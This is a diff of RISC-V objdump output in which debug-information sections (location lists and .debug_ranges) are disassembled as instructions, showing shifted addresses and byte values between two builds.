-    2432:	0001                	nop
-    2434:	fe00                	fsw	fs0,56(a2)
-    2436:	0001                	nop
-    2438:	0100                	addi	s0,sp,128
-    243a:	5f00                	lw	s0,56(a4)
+ 760:	0001                	nop
+ 762:	00000063          	beqz	zero,762 <__stack_size-0x9e>
+ 766:	0000                	unimp
+ 768:	0000                	unimp
+ 76a:	0400                	addi	s0,sp,512
+ 76c:	f300                	fsw	fs0,32(a4)
+ 76e:	5a01                	li	s4,-32
+ 770:	009f 0000 0000      	0x9f
+ 776:	0000                	unimp
+ 778:	0100                	addi	s0,sp,128
+ 77a:	6300                	flw	fs0,0(a4)
 	...
-    2444:	0212                	slli	tp,tp,0x4
-    2446:	0000                	unimp
-    2448:	021c                	addi	a5,sp,256
-    244a:	0000                	unimp
-    244c:	0001                	nop
-    244e:	005a                	c.slli	zero,0x16
-    2450:	0000                	unimp
-    2452:	0000                	unimp
-    2454:	0000                	unimp
-    2456:	0800                	addi	s0,sp,16
-    2458:	1c000003          	lb	zero,448(zero) # 1c0 <__stack_size-0x640>
-    245c:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    2460:	5f00                	lw	s0,56(a4)
-    2462:	0320                	addi	s0,sp,392
-    2464:	0000                	unimp
-    2466:	0322                	slli	t1,t1,0x8
-    2468:	0000                	unimp
-    246a:	0001                	nop
-    246c:	225c                	fld	fa5,128(a2)
-    246e:	26000003          	lb	zero,608(zero) # 260 <__stack_size-0x5a0>
-    2472:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    2476:	5f00                	lw	s0,56(a4)
+ 78c:	0002                	c.slli64	zero
+ 78e:	9f31                	0x9f31
 	...
-    2480:	025e                	slli	tp,tp,0x17
-    2482:	0000                	unimp
-    2484:	02c2                	slli	t0,t0,0x10
-    2486:	0000                	unimp
-    2488:	0001                	nop
-    248a:	c26e                	sw	s11,4(sp)
-    248c:	0002                	c.slli64	zero
-    248e:	4000                	lw	s0,0(s0)
-    2490:	05000003          	lb	zero,80(zero) # 50 <__stack_size-0x7b0>
-    2494:	8c00                	0x8c00
-    2496:	4000                	lw	s0,0(s0)
-    2498:	9f25                	0x9f25
+ 798:	0001                	nop
+ 79a:	0058                	addi	a4,sp,4
+ 79c:	0000                	unimp
+ 79e:	0000                	unimp
+ 7a0:	0000                	unimp
+ 7a2:	0100                	addi	s0,sp,128
+ 7a4:	5800                	lw	s0,48(s0)
 	...
-    24a2:	025e                	slli	tp,tp,0x17
-    24a4:	0000                	unimp
-    24a6:	029e                	slli	t0,t0,0x7
-    24a8:	0000                	unimp
-    24aa:	0001                	nop
-    24ac:	00029e5b          	0x29e5b
-    24b0:	4000                	lw	s0,0(s0)
-    24b2:	07000003          	lb	zero,112(zero) # 70 <__stack_size-0x790>
-    24b6:	8c00                	0x8c00
-    24b8:	4000                	lw	s0,0(s0)
-    24ba:	4024                	lw	s1,64(s0)
-    24bc:	9f25                	0x9f25
+ 7ae:	2338                	fld	fa4,64(a4)
+ 7b0:	2040                	fld	fs0,128(s0)
+ 7b2:	2345                	jal	d52 <__stack_size+0x552>
+ 7b4:	2040                	fld	fs0,128(s0)
+ 7b6:	0001                	nop
+ 7b8:	455a                	lw	a0,148(sp)
+ 7ba:	8a204023          	0x8a204023
+ 7be:	04204023          	0x4204023
+ 7c2:	f300                	fsw	fs0,32(a4)
+ 7c4:	5a01                	li	s4,-32
+ 7c6:	009f 0000 0000      	0x9f
+ 7cc:	0000                	unimp
+ 7ce:	3800                	fld	fs0,48(s0)
+ 7d0:	45204023          	0x45204023
+ 7d4:	01204023          	0x1204023
+ 7d8:	5b00                	lw	s0,48(a4)
+ 7da:	2345                	jal	d7a <__stack_size+0x57a>
+ 7dc:	2040                	fld	fs0,128(s0)
+ 7de:	235e                	fld	ft6,464(sp)
+ 7e0:	2040                	fld	fs0,128(s0)
+ 7e2:	0001                	nop
+ 7e4:	5e58                	lw	a4,60(a2)
+ 7e6:	66204023          	0x66204023
+ 7ea:	04204023          	0x4204023
+ 7ee:	f300                	fsw	fs0,32(a4)
+ 7f0:	5b01                	li	s6,-32
+ 7f2:	669f 4023 8a20      	0x8a204023669f
+ 7f8:	01204023          	0x1204023
+ 7fc:	5800                	lw	s0,48(s0)
 	...
-    24c6:	0266                	slli	tp,tp,0x19
-    24c8:	0000                	unimp
-    24ca:	027a                	slli	tp,tp,0x1e
-    24cc:	0000                	unimp
-    24ce:	0001                	nop
-    24d0:	7a5e                	flw	fs4,244(sp)
-    24d2:	0002                	c.slli64	zero
-    24d4:	c000                	sw	s0,0(s0)
-    24d6:	0002                	c.slli64	zero
-    24d8:	0100                	addi	s0,sp,128
-    24da:	5c00                	lw	s0,56(s0)
+ 806:	2338                	fld	fa4,64(a4)
+ 808:	2040                	fld	fs0,128(s0)
+ 80a:	2345                	jal	daa <__stack_size+0x5aa>
+ 80c:	2040                	fld	fs0,128(s0)
+ 80e:	0001                	nop
+ 810:	455c                	lw	a5,12(a0)
+ 812:	5a204023          	0x5a204023
+ 816:	01204023          	0x1204023
+ 81a:	5900                	lw	s0,48(a0)
+ 81c:	235a                	fld	ft6,400(sp)
+ 81e:	2040                	fld	fs0,128(s0)
+ 820:	2366                	fld	ft6,88(sp)
+ 822:	2040                	fld	fs0,128(s0)
+ 824:	0004                	0x4
+ 826:	9f5c01f3          	0x9f5c01f3
+ 82a:	2366                	fld	ft6,88(sp)
+ 82c:	2040                	fld	fs0,128(s0)
+ 82e:	2388                	fld	fa0,0(a5)
+ 830:	2040                	fld	fs0,128(s0)
+ 832:	0001                	nop
+ 834:	8859                	andi	s0,s0,22
+ 836:	8a204023          	0x8a204023
+ 83a:	04204023          	0x4204023
+ 83e:	f300                	fsw	fs0,32(a4)
+ 840:	5c01                	li	s8,-32
+ 842:	009f 0000 0000      	0x9f
+ 848:	0000                	unimp
+ 84a:	5600                	lw	s0,40(a2)
+ 84c:	5a204023          	0x5a204023
+ 850:	06204023          	0x6204023
+ 854:	7b00                	flw	fs0,48(a4)
+ 856:	7800                	flw	fs0,48(s0)
+ 858:	1c00                	addi	s0,sp,560
+ 85a:	669f 4023 8220      	0x82204023669f
+ 860:	06204023          	0x6204023
+ 864:	7b00                	flw	fs0,48(a4)
+ 866:	7800                	flw	fs0,48(s0)
+ 868:	1c00                	addi	s0,sp,560
+ 86a:	829f 4023 8420      	0x84204023829f
+ 870:	08204023          	0x8204023
+ 874:	7b00                	flw	fs0,48(a4)
+ 876:	7800                	flw	fs0,48(s0)
+ 878:	1c00                	addi	s0,sp,560
+ 87a:	849f0123          	sb	s1,-1982(t5) # 1a842 <__stack_size+0x1a042>
+ 87e:	86204023          	0x86204023
+ 882:	06204023          	0x6204023
+ 886:	7b00                	flw	fs0,48(a4)
+ 888:	7800                	flw	fs0,48(s0)
+ 88a:	1c00                	addi	s0,sp,560
+ 88c:	009f 0000 0000      	0x9f
+ 892:	0000                	unimp
+ 894:	fe00                	fsw	fs0,56(a2)
+ 896:	4022                	0x4022
+ 898:	0b20                	addi	s0,sp,408
+ 89a:	01204023          	0x1204023
+ 89e:	5a00                	lw	s0,48(a2)
+ 8a0:	2040230b          	0x2040230b
+ 8a4:	2338                	fld	fa4,64(a4)
+ 8a6:	2040                	fld	fs0,128(s0)
+ 8a8:	0004                	0x4
+ 8aa:	9f5a01f3          	0x9f5a01f3
 	...
-    24e4:	0294                	addi	a3,sp,320
-    24e6:	0000                	unimp
-    24e8:	02b0                	addi	a2,sp,328
-    24ea:	0000                	unimp
-    24ec:	0001                	nop
-    24ee:	b05d                	j	1d94 <__stack_size+0x1594>
-    24f0:	0002                	c.slli64	zero
-    24f2:	dc00                	sw	s0,56(s0)
-    24f4:	0002                	c.slli64	zero
-    24f6:	0100                	addi	s0,sp,128
-    24f8:	5f00                	lw	s0,56(a4)
+ 8b6:	22fe                	fld	ft5,472(sp)
+ 8b8:	2040                	fld	fs0,128(s0)
+ 8ba:	2040230b          	0x2040230b
+ 8be:	0001                	nop
+ 8c0:	40230b5b          	0x40230b5b
+ 8c4:	1420                	addi	s0,sp,552
+ 8c6:	01204023          	0x1204023
+ 8ca:	5800                	lw	s0,48(s0)
+ 8cc:	2314                	fld	fa3,0(a4)
+ 8ce:	2040                	fld	fs0,128(s0)
+ 8d0:	231e                	fld	ft6,448(sp)
+ 8d2:	2040                	fld	fs0,128(s0)
+ 8d4:	0006                	c.slli	zero,0x1
+ 8d6:	0078                	addi	a4,sp,12
+ 8d8:	007a                	c.slli	zero,0x1e
+ 8da:	9f22                	add	t5,t5,s0
+ 8dc:	2328                	fld	fa0,64(a4)
+ 8de:	2040                	fld	fs0,128(s0)
+ 8e0:	2332                	fld	ft6,264(sp)
+ 8e2:	2040                	fld	fs0,128(s0)
+ 8e4:	0008                	0x8
+ 8e6:	0078                	addi	a4,sp,12
+ 8e8:	007a                	c.slli	zero,0x1e
+ 8ea:	2322                	fld	ft6,8(sp)
+ 8ec:	9f01                	0x9f01
+ 8ee:	2332                	fld	ft6,264(sp)
+ 8f0:	2040                	fld	fs0,128(s0)
+ 8f2:	2334                	fld	fa3,64(a4)
+ 8f4:	2040                	fld	fs0,128(s0)
+ 8f6:	0006                	c.slli	zero,0x1
+ 8f8:	0078                	addi	a4,sp,12
+ 8fa:	007a                	c.slli	zero,0x1e
+ 8fc:	9f22                	add	t5,t5,s0
+ 8fe:	2334                	fld	fa3,64(a4)
+ 900:	2040                	fld	fs0,128(s0)
+ 902:	2338                	fld	fa4,64(a4)
+ 904:	2040                	fld	fs0,128(s0)
+ 906:	0001                	nop
+ 908:	0058                	addi	a4,sp,4
+ 90a:	0000                	unimp
+ 90c:	0000                	unimp
+ 90e:	0000                	unimp
+ 910:	fe00                	fsw	fs0,56(a2)
+ 912:	4022                	0x4022
+ 914:	0b20                	addi	s0,sp,408
+ 916:	01204023          	0x1204023
+ 91a:	5c00                	lw	s0,56(s0)
+ 91c:	2040230b          	0x2040230b
+ 920:	2324                	fld	fs1,64(a4)
+ 922:	2040                	fld	fs0,128(s0)
+ 924:	0001                	nop
+ 926:	2459                	jal	bac <__stack_size+0x3ac>
+ 928:	28204023          	0x28204023
+ 92c:	04204023          	0x4204023
+ 930:	f300                	fsw	fs0,32(a4)
+ 932:	5c01                	li	s8,-32
+ 934:	289f 4023 3820      	0x38204023289f
+ 93a:	01204023          	0x1204023
+ 93e:	5900                	lw	s0,48(a0)
 	...
-    2502:	025e                	slli	tp,tp,0x17
-    2504:	0000                	unimp
-    2506:	0268                	addi	a0,sp,268
-    2508:	0000                	unimp
-    250a:	0001                	nop
-    250c:	6e5c                	flw	fa5,28(a2)
-    250e:	0002                	c.slli64	zero
-    2510:	7600                	flw	fs0,40(a2)
-    2512:	0002                	c.slli64	zero
-    2514:	0100                	addi	s0,sp,128
-    2516:	5d00                	lw	s0,56(a0)
-    2518:	027a                	slli	tp,tp,0x1e
-    251a:	0000                	unimp
-    251c:	0294                	addi	a3,sp,320
-    251e:	0000                	unimp
-    2520:	0001                	nop
-    2522:	005d                	c.nop	23
-    2524:	0000                	unimp
-    2526:	0000                	unimp
-    2528:	0000                	unimp
-    252a:	9000                	0x9000
-    252c:	0002                	c.slli64	zero
-    252e:	9600                	0x9600
-    2530:	0002                	c.slli64	zero
-    2532:	0100                	addi	s0,sp,128
-    2534:	5600                	lw	s0,40(a2)
-    2536:	02a4                	addi	s1,sp,328
-    2538:	0000                	unimp
-    253a:	02ac                	addi	a1,sp,328
-    253c:	0000                	unimp
-    253e:	0001                	nop
-    2540:	0002b05b          	0x2b05b
-    2544:	2c00                	fld	fs0,24(s0)
-    2546:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    254a:	5b00                	lw	s0,48(a4)
+ 948:	2314                	fld	fa3,0(a4)
+ 94a:	2040                	fld	fs0,128(s0)
+ 94c:	231e                	fld	ft6,448(sp)
+ 94e:	2040                	fld	fs0,128(s0)
+ 950:	0001                	nop
+ 952:	285a                	fld	fa6,400(sp)
+ 954:	34204023          	0x34204023
+ 958:	01204023          	0x1204023
+ 95c:	5a00                	lw	s0,48(a2)
 	...
-    2554:	026e                	slli	tp,tp,0x1b
-    2556:	0000                	unimp
-    2558:	0290                	addi	a2,sp,320
-    255a:	0000                	unimp
-    255c:	0001                	nop
-    255e:	9056                	c.add	zero,s5
-    2560:	0002                	c.slli64	zero
-    2562:	9a00                	0x9a00
-    2564:	0002                	c.slli64	zero
-    2566:	0600                	addi	s0,sp,768
-    2568:	7b00                	flw	fs0,48(a4)
-    256a:	7e00                	flw	fs0,56(a2)
-    256c:	1e00                	addi	s0,sp,816
-    256e:	9a9f 0002 d400      	0xd40000029a9f
-    2574:	0002                	c.slli64	zero
-    2576:	0100                	addi	s0,sp,128
-    2578:	5e00                	lw	s0,56(a2)
+ 966:	231a                	fld	ft6,384(sp)
+ 968:	2040                	fld	fs0,128(s0)
+ 96a:	231e                	fld	ft6,448(sp)
+ 96c:	2040                	fld	fs0,128(s0)
+ 96e:	0001                	nop
+ 970:	285f 4023 3420      	0x34204023285f
+ 976:	01204023          	0x1204023
+ 97a:	5f00                	lw	s0,56(a4)
 	...
-    2582:	02dc                	addi	a5,sp,324
-    2584:	0000                	unimp
-    2586:	0306                	slli	t1,t1,0x1
-    2588:	0000                	unimp
-    258a:	0001                	nop
-    258c:	005f 0000 0000      	0x5f
-    2592:	0000                	unimp
-    2594:	f000                	fsw	fs0,32(s0)
-    2596:	0002                	c.slli64	zero
-    2598:	0200                	addi	s0,sp,256
-    259a:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    259e:	5e00                	lw	s0,56(a2)
-    25a0:	0302                	c.slli64	t1
-    25a2:	0000                	unimp
-    25a4:	0306                	slli	t1,t1,0x1
-    25a6:	0000                	unimp
-    25a8:	0008                	0x8
-    25aa:	007f                	0x7f
-    25ac:	2540                	fld	fs0,136(a0)
-    25ae:	0076                	c.slli	zero,0x1d
-    25b0:	9f22                	add	t5,t5,s0
+ 984:	22d0                	fld	fa2,128(a3)
+ 986:	2040                	fld	fs0,128(s0)
+ 988:	22dd                	jal	b6e <__stack_size+0x36e>
+ 98a:	2040                	fld	fs0,128(s0)
+ 98c:	0001                	nop
+ 98e:	dd5a                	sw	s6,184(sp)
+ 990:	4022                	0x4022
+ 992:	fe20                	fsw	fs0,120(a2)
+ 994:	4022                	0x4022
+ 996:	0420                	addi	s0,sp,520
+ 998:	f300                	fsw	fs0,32(a4)
+ 99a:	5a01                	li	s4,-32
+ 99c:	009f 0000 0000      	0x9f
+ 9a2:	0000                	unimp
+ 9a4:	d000                	sw	s0,32(s0)
+ 9a6:	4022                	0x4022
+ 9a8:	da20                	sw	s0,112(a2)
+ 9aa:	4022                	0x4022
+ 9ac:	0120                	addi	s0,sp,136
+ 9ae:	5b00                	lw	s0,48(a4)
+ 9b0:	22da                	fld	ft5,400(sp)
+ 9b2:	2040                	fld	fs0,128(s0)
+ 9b4:	22fe                	fld	ft5,472(sp)
+ 9b6:	2040                	fld	fs0,128(s0)
+ 9b8:	0004                	0x4
+ 9ba:	9f5b01f3          	0x9f5b01f3
 	...
-    25ba:	02e0                	addi	s0,sp,332
-    25bc:	0000                	unimp
-    25be:	02fa                	slli	t0,t0,0x1e
-    25c0:	0000                	unimp
-    25c2:	0001                	nop
-    25c4:	005d                	c.nop	23
-    25c6:	0000                	unimp
-    25c8:	0000                	unimp
-    25ca:	0000                	unimp
-    25cc:	e800                	fsw	fs0,16(s0)
-    25ce:	0002                	c.slli64	zero
-    25d0:	fe00                	fsw	fs0,56(a2)
-    25d2:	0002                	c.slli64	zero
-    25d4:	0100                	addi	s0,sp,128
-    25d6:	5c00                	lw	s0,56(s0)
+ 9c6:	22d0                	fld	fa2,128(a3)
+ 9c8:	2040                	fld	fs0,128(s0)
+ 9ca:	22dd                	jal	bb0 <__stack_size+0x3b0>
+ 9cc:	2040                	fld	fs0,128(s0)
+ 9ce:	0001                	nop
+ 9d0:	dd5c                	sw	a5,60(a0)
+ 9d2:	4022                	0x4022
+ 9d4:	fe20                	fsw	fs0,120(a2)
+ 9d6:	4022                	0x4022
+ 9d8:	0420                	addi	s0,sp,520
+ 9da:	f300                	fsw	fs0,32(a4)
+ 9dc:	5c01                	li	s8,-32
+ 9de:	009f 0000 0000      	0x9f
+ 9e4:	0000                	unimp
+ 9e6:	cc00                	sw	s0,24(s0)
+ 9e8:	4022                	0x4022
+ 9ea:	ce20                	sw	s0,88(a2)
+ 9ec:	4022                	0x4022
+ 9ee:	0120                	addi	s0,sp,136
+ 9f0:	5a00                	lw	s0,48(a2)
+ 9f2:	22ce                	fld	ft5,208(sp)
+ 9f4:	2040                	fld	fs0,128(s0)
+ 9f6:	22d0                	fld	fa2,128(a3)
+ 9f8:	2040                	fld	fs0,128(s0)
+ 9fa:	0004                	0x4
+ 9fc:	9f5a01f3          	0x9f5a01f3
 	...
-    25e0:	02ce                	slli	t0,t0,0x13
-    25e2:	0000                	unimp
-    25e4:	02e4                	addi	s1,sp,332
-    25e6:	0000                	unimp
-    25e8:	0001                	nop
-    25ea:	0056                	c.slli	zero,0x15
-    25ec:	0000                	unimp
-    25ee:	0000                	unimp
-    25f0:	0000                	unimp
-    25f2:	d800                	sw	s0,48(s0)
-    25f4:	0002                	c.slli64	zero
-    25f6:	e000                	fsw	fs0,0(s0)
-    25f8:	0002                	c.slli64	zero
-    25fa:	0100                	addi	s0,sp,128
-    25fc:	5d00                	lw	s0,56(a0)
-    25fe:	02e0                	addi	s0,sp,332
-    2600:	0000                	unimp
-    2602:	0300                	addi	s0,sp,384
-    2604:	0000                	unimp
-    2606:	0006                	c.slli	zero,0x1
-    2608:	7f8e                	flw	ft11,224(sp)
-    260a:	008d                	addi	ra,ra,3
-    260c:	9f1a                	add	t5,t5,t1
-    260e:	0300                	addi	s0,sp,384
-    2610:	0000                	unimp
-    2612:	0318                	addi	a4,sp,384
-    2614:	0000                	unimp
-    2616:	0006                	c.slli	zero,0x1
-    2618:	008d                	addi	ra,ra,3
-    261a:	007c                	addi	a5,sp,12
-    261c:	9f1a                	add	t5,t5,t1
-    261e:	0318                	addi	a4,sp,384
-    2620:	0000                	unimp
-    2622:	0340                	addi	s0,sp,388
-    2624:	0000                	unimp
-    2626:	0006                	c.slli	zero,0x1
-    2628:	7f8e                	flw	ft11,224(sp)
-    262a:	008d                	addi	ra,ra,3
-    262c:	9f1a                	add	t5,t5,t1
+ a08:	22c6                	fld	ft5,80(sp)
+ a0a:	2040                	fld	fs0,128(s0)
+ a0c:	22ca                	fld	ft5,144(sp)
+ a0e:	2040                	fld	fs0,128(s0)
+ a10:	0001                	nop
+ a12:	ca5a                	sw	s6,20(sp)
+ a14:	4022                	0x4022
+ a16:	cc20                	sw	s0,88(s0)
+ a18:	4022                	0x4022
+ a1a:	0420                	addi	s0,sp,520
+ a1c:	f300                	fsw	fs0,32(a4)
+ a1e:	5a01                	li	s4,-32
+ a20:	009f 0000 0000      	0x9f
+ a26:	0000                	unimp
+ a28:	a400                	fsd	fs0,8(s0)
+ a2a:	4022                	0x4022
+ a2c:	ac20                	fsd	fs0,88(s0)
+ a2e:	4022                	0x4022
+ a30:	0120                	addi	s0,sp,136
+ a32:	5a00                	lw	s0,48(a2)
+ a34:	22ac                	fld	fa1,64(a3)
+ a36:	2040                	fld	fs0,128(s0)
+ a38:	22b2                	fld	ft5,264(sp)
+ a3a:	2040                	fld	fs0,128(s0)
+ a3c:	0001                	nop
+ a3e:	b25f 4022 c620      	0xc6204022b25f
+ a44:	4022                	0x4022
+ a46:	0420                	addi	s0,sp,520
+ a48:	f300                	fsw	fs0,32(a4)
+ a4a:	5a01                	li	s4,-32
+ a4c:	009f 0000 0000      	0x9f
+ a52:	0000                	unimp
+ a54:	9c00                	0x9c00
+ a56:	4022                	0x4022
+ a58:	a220                	fsd	fs0,64(a2)
+ a5a:	4022                	0x4022
+ a5c:	0120                	addi	s0,sp,136
+ a5e:	5a00                	lw	s0,48(a2)
+ a60:	22a2                	fld	ft5,8(sp)
+ a62:	2040                	fld	fs0,128(s0)
+ a64:	22a4                	fld	fs1,64(a3)
+ a66:	2040                	fld	fs0,128(s0)
+ a68:	0004                	0x4
+ a6a:	9f5a01f3          	0x9f5a01f3
 	...
-    2636:	02d0                	addi	a2,sp,324
-    2638:	0000                	unimp
-    263a:	02e8                	addi	a0,sp,332
-    263c:	0000                	unimp
-    263e:	0001                	nop
-    2640:	005c                	addi	a5,sp,4
-    2642:	0000                	unimp
-    2644:	0000                	unimp
-    2646:	0000                	unimp
-    2648:	1800                	addi	s0,sp,48
-    264a:	22000003          	lb	zero,544(zero) # 220 <__stack_size-0x5e0>
-    264e:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    2652:	5c00                	lw	s0,56(s0)
+ a76:	2298                	fld	fa4,0(a3)
+ a78:	2040                	fld	fs0,128(s0)
+ a7a:	229a                	fld	ft5,384(sp)
+ a7c:	2040                	fld	fs0,128(s0)
+ a7e:	0001                	nop
+ a80:	9a5a                	add	s4,s4,s6
+ a82:	4022                	0x4022
+ a84:	9c20                	0x9c20
+ a86:	4022                	0x4022
+ a88:	0420                	addi	s0,sp,520
+ a8a:	f300                	fsw	fs0,32(a4)
+ a8c:	5a01                	li	s4,-32
+ a8e:	009f 0000 0000      	0x9f
+ a94:	0000                	unimp
 	...
 
 Disassembly of section .debug_ranges:
 
 00000000 <.debug_ranges>:
-   0:	19be                	slli	s3,s3,0x2f
+   0:	1a46                	slli	s4,s4,0x31
    2:	2040                	fld	fs0,128(s0)
-   4:	19be                	slli	s3,s3,0x2f
+   4:	1a46                	slli	s4,s4,0x31
    6:	2040                	fld	fs0,128(s0)
-   8:	19e6                	slli	s3,s3,0x39
+   8:	1a6e                	slli	s4,s4,0x3b
    a:	2040                	fld	fs0,128(s0)
-   c:	19f2                	slli	s3,s3,0x3c
+   c:	1a7a                	slli	s4,s4,0x3e
    e:	2040                	fld	fs0,128(s0)
 	...
-  18:	19fe                	slli	s3,s3,0x3f
+  18:	1a86                	slli	s5,s5,0x21
   1a:	2040                	fld	fs0,128(s0)
-  1c:	1a08                	addi	a0,sp,304
+  1c:	1a90                	addi	a2,sp,368
   1e:	2040                	fld	fs0,128(s0)
-  20:	1a0a                	slli	s4,s4,0x22
+  20:	1a92                	slli	s5,s5,0x24
   22:	2040                	fld	fs0,128(s0)
-  24:	1a0c                	addi	a1,sp,304
+  24:	1a94                	addi	a3,sp,368
   26:	2040                	fld	fs0,128(s0)
 	...
-  30:	1a3e                	slli	s4,s4,0x2f
+  30:	1ac6                	slli	s5,s5,0x31
   32:	2040                	fld	fs0,128(s0)
-  34:	1a5c                	addi	a5,sp,308
+  34:	1ae4                	addi	s1,sp,380
   36:	2040                	fld	fs0,128(s0)
-  38:	1a7e                	slli	s4,s4,0x3f
+  38:	1b06                	slli	s6,s6,0x21
   3a:	2040                	fld	fs0,128(s0)
-  3c:	1ac8                	addi	a0,sp,372
+  3c:	1b50                	addi	a2,sp,436
   3e:	2040                	fld	fs0,128(s0)
-  40:	1af4                	addi	a3,sp,380
+  40:	1b7c                	addi	a5,sp,444
   42:	2040                	fld	fs0,128(s0)
-  44:	1c8a                	slli	s9,s9,0x22
+  44:	1d12                	slli	s10,s10,0x24
   46:	2040                	fld	fs0,128(s0)
 	...
-  50:	1c8a                	slli	s9,s9,0x22
+  50:	1982                	slli	s3,s3,0x20
   52:	2040                	fld	fs0,128(s0)
-  54:	1c8a                	slli	s9,s9,0x22
+  54:	19ae                	slli	s3,s3,0x2b
   56:	2040                	fld	fs0,128(s0)
-  58:	1c92                	slli	s9,s9,0x24
+  58:	19ae                	slli	s3,s3,0x2b
   5a:	2040                	fld	fs0,128(s0)
-  5c:	1c96                	slli	s9,s9,0x25
+  5c:	1a46                	slli	s4,s4,0x31
   5e:	2040                	fld	fs0,128(s0)
 	...
-  68:	1e06                	slli	t3,t3,0x21
+  68:	198e                	slli	s3,s3,0x23
   6a:	2040                	fld	fs0,128(s0)
-  6c:	1e06                	slli	t3,t3,0x21
+  6c:	19ae                	slli	s3,s3,0x2b
   6e:	2040                	fld	fs0,128(s0)
-  70:	1e1a                	slli	t3,t3,0x26
+  70:	19b8                	addi	a4,sp,248
   72:	2040                	fld	fs0,128(s0)
-  74:	1e6a                	slli	t3,t3,0x3a
+  74:	1a2e                	slli	s4,s4,0x2b
   76:	2040                	fld	fs0,128(s0)
 	...
-  80:	1e1a                	slli	t3,t3,0x26
+  80:	1a46                	slli	s4,s4,0x31
   82:	2040                	fld	fs0,128(s0)
-  84:	1e22                	slli	t3,t3,0x28
+  84:	1d12                	slli	s10,s10,0x24
   86:	2040                	fld	fs0,128(s0)
-  88:	1e26                	slli	t3,t3,0x29
+  88:	189c                	addi	a5,sp,112
   8a:	2040                	fld	fs0,128(s0)
-  8c:	1e62                	slli	t3,t3,0x38
+  8c:	1a46                	slli	s4,s4,0x31
   8e:	2040                	fld	fs0,128(s0)
 	...
-  98:	1e1a                	slli	t3,t3,0x26
+  98:	1d12                	slli	s10,s10,0x24
   9a:	2040                	fld	fs0,128(s0)
-  9c:	1e1c                	addi	a5,sp,816
+  9c:	1d2a                	slli	s10,s10,0x2a
   9e:	2040                	fld	fs0,128(s0)
-  a0:	1e26                	slli	t3,t3,0x29
+  a0:	1d2a                	slli	s10,s10,0x2a
   a2:	2040                	fld	fs0,128(s0)
-  a4:	1e30                	addi	a2,sp,824
+  a4:	1d44                	addi	s1,sp,692
   a6:	2040                	fld	fs0,128(s0)
-	...
-  b0:	1e1c                	addi	a5,sp,816
+  a8:	1d44                	addi	s1,sp,692
+  aa:	2040                	fld	fs0,128(s0)
+  ac:	1d84                	addi	s1,sp,752
+  ae:	2040                	fld	fs0,128(s0)
+  b0:	1d84                	addi	s1,sp,752
   b2:	2040                	fld	fs0,128(s0)
-  b4:	1e1e                	slli	t3,t3,0x27
+  b4:	1e10                	addi	a2,sp,816
   b6:	2040                	fld	fs0,128(s0)
-  b8:	1e30                	addi	a2,sp,824
+  b8:	1e10                	addi	a2,sp,816
   ba:	2040                	fld	fs0,128(s0)
-  bc:	1e3a                	slli	t3,t3,0x2e
+  bc:	1e64                	addi	s1,sp,828
   be:	2040                	fld	fs0,128(s0)
 	...
-  c8:	1e90                	addi	a2,sp,880
-  ca:	2040                	fld	fs0,128(s0)
-  cc:	1e90                	addi	a2,sp,880
-  ce:	2040                	fld	fs0,128(s0)
-  d0:	1e92                	slli	t4,t4,0x24
-  d2:	2040                	fld	fs0,128(s0)
-  d4:	1ec4                	addi	s1,sp,884
-  d6:	2040                	fld	fs0,128(s0)
+  c8:	0001                	nop
+  ca:	0000                	unimp
+  cc:	0001                	nop
+  ce:	0000                	unimp
+  d0:	0001                	nop
+  d2:	0000                	unimp
+  d4:	0001                	nop
+  d6:	0000                	unimp
+  d8:	0001                	nop
+  da:	0000                	unimp
+  dc:	0001                	nop
 	...
-  e0:	1f42                	slli	t5,t5,0x30
-  e2:	2040                	fld	fs0,128(s0)
-  e4:	1f4a                	slli	t5,t5,0x32
-  e6:	2040                	fld	fs0,128(s0)
-  e8:	1f4c                	addi	a1,sp,948
-  ea:	2040                	fld	fs0,128(s0)
-  ec:	1f4e                	slli	t5,t5,0x33
-  ee:	2040                	fld	fs0,128(s0)
+  e6:	0000                	unimp
+  e8:	0001                	nop
+  ea:	0000                	unimp
+  ec:	0001                	nop
+  ee:	0000                	unimp
+  f0:	0001                	nop
+  f2:	0000                	unimp
+  f4:	0001                	nop
 	...
-  f8:	1f4a                	slli	t5,t5,0x32
-  fa:	2040                	fld	fs0,128(s0)
-  fc:	1f4c                	addi	a1,sp,948
-  fe:	2040                	fld	fs0,128(s0)
- 100:	1f4e                	slli	t5,t5,0x33
- 102:	2040                	fld	fs0,128(s0)
- 104:	1f58                	addi	a4,sp,948
- 106:	2040                	fld	fs0,128(s0)
+  fe:	0000                	unimp
+ 100:	0001                	nop
+ 102:	0000                	unimp
+ 104:	0001                	nop
+ 106:	0000                	unimp
+ 108:	0001                	nop
+ 10a:	0000                	unimp
+ 10c:	0001                	nop
 	...
- 110:	2098                	fld	fa4,0(s1)
- 112:	2040                	fld	fs0,128(s0)
- 114:	209a                	fld	ft1,384(sp)
- 116:	2040                	fld	fs0,128(s0)
- 118:	209c                	fld	fa5,0(s1)
+ 116:	0000                	unimp
+ 118:	1eb6                	slli	t4,t4,0x2d
  11a:	2040                	fld	fs0,128(s0)
- 11c:	20a0                	fld	fs0,64(s1)
+ 11c:	1eb8                	addi	a4,sp,888
  11e:	2040                	fld	fs0,128(s0)
- 120:	20c4                	fld	fs1,128(s1)
+ 120:	1eba                	slli	t4,t4,0x2e
  122:	2040                	fld	fs0,128(s0)
- 124:	2156                	fld	ft2,336(sp)
+ 124:	1eda                	slli	t4,t4,0x36
  126:	2040                	fld	fs0,128(s0)
- 128:	216c                	fld	fa1,192(a0)
- 12a:	2040                	fld	fs0,128(s0)
- 12c:	21c8                	fld	fa0,128(a1)
- 12e:	2040                	fld	fs0,128(s0)
 	...
- 138:	2098                	fld	fa4,0(s1)
+ 130:	1ee4                	addi	s1,sp,892
+ 132:	2040                	fld	fs0,128(s0)
+ 134:	1eec                	addi	a1,sp,892
+ 136:	2040                	fld	fs0,128(s0)
+ 138:	1eee                	slli	t4,t4,0x3b
  13a:	2040                	fld	fs0,128(s0)
- 13c:	209a                	fld	ft1,384(sp)
+ 13c:	1ef6                	slli	t4,t4,0x3d
  13e:	2040                	fld	fs0,128(s0)
- 140:	209c                	fld	fa5,0(s1)
- 142:	2040                	fld	fs0,128(s0)
- 144:	20a0                	fld	fs0,64(s1)
- 146:	2040                	fld	fs0,128(s0)
- 148:	20c4                	fld	fs1,128(s1)
+	...
